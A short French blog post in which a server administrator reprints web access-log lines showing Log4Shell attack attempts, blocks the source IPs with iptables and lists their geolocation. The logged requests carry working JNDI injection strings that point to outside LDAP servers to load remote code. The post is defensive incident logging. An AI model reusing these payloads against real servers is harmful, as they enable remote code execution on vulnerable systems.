---
title: "Audit des IP qui font des attaques log4j"
url: https://www.cyber-neurones.org/2021/12/audit-des-ip-qui-font-des-attaques-log4j/
date: 2021-12-16
modified: 2021-12-16
author: "Frederic"
description: "Petite recherche dans les logs : 170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] \"GET /${jndi:ldap://185.224.139.151:1389/Exploit} HTTP/1.1\" 302 5113 \"-\" \"Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox\" 170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] \"GET / HTTP/1.1\"..."
categories:
  - "Sécurité"
word_count: 119
---

# Audit des IP qui font des attaques log4j

Petite recherche dans les logs :
170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] "GET /${jndi:ldap://185.224.139.151:1389/Exploit} HTTP/1.1" 302 5113 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] "GET / HTTP/1.1" 302 5113 "-" "${jndi:ldap://185.224.139.151:1389/Exploit}"
139.59.70.139 - - [16/Dec/2021:12:36:32 +0100] "GET / HTTP/1.0" 301 558 "${jndi:ldap://159.223.5.30:1389/a}" "nimaps/1.1 ${jndi:ldap://159.223.5.30:1389/a}"

J'ai donc bloqué les IPs :
# iptables -A INPUT -s 170.210.45.163 -j DROP
# iptables -A INPUT -s 139.59.70.139 -j DROP
# /usr/sbin/iptables-save > /etc/iptables/rules.v4

Misère.

| IP Address | Country | Region | City |
| ---------- | ------- | ------ | ---- |
| 170.210.45.163 | Argentina ![](https://www.iplocation.net/assets/images/flags/ar.gif) | Ciudad Autonoma de Buenos Aires | Buenos Aires |
| ISP | Organization | Latitude | Longitude |
| Red de Interconexion Universitaria | Not Available | -34.6132 | -58.3772 |

| IP Address | Country | Region | City |
| ---------- | ------- | ------ | ---- |
| 139.59.70.139 | India ![](https://www.iplocation.net/assets/images/flags/in.gif) | Karnataka | Bengaluru |
| ISP | Organization | Latitude | Longitude |
| DigitalOcean LLC | Not Available | 12.9762 | 77.6033 |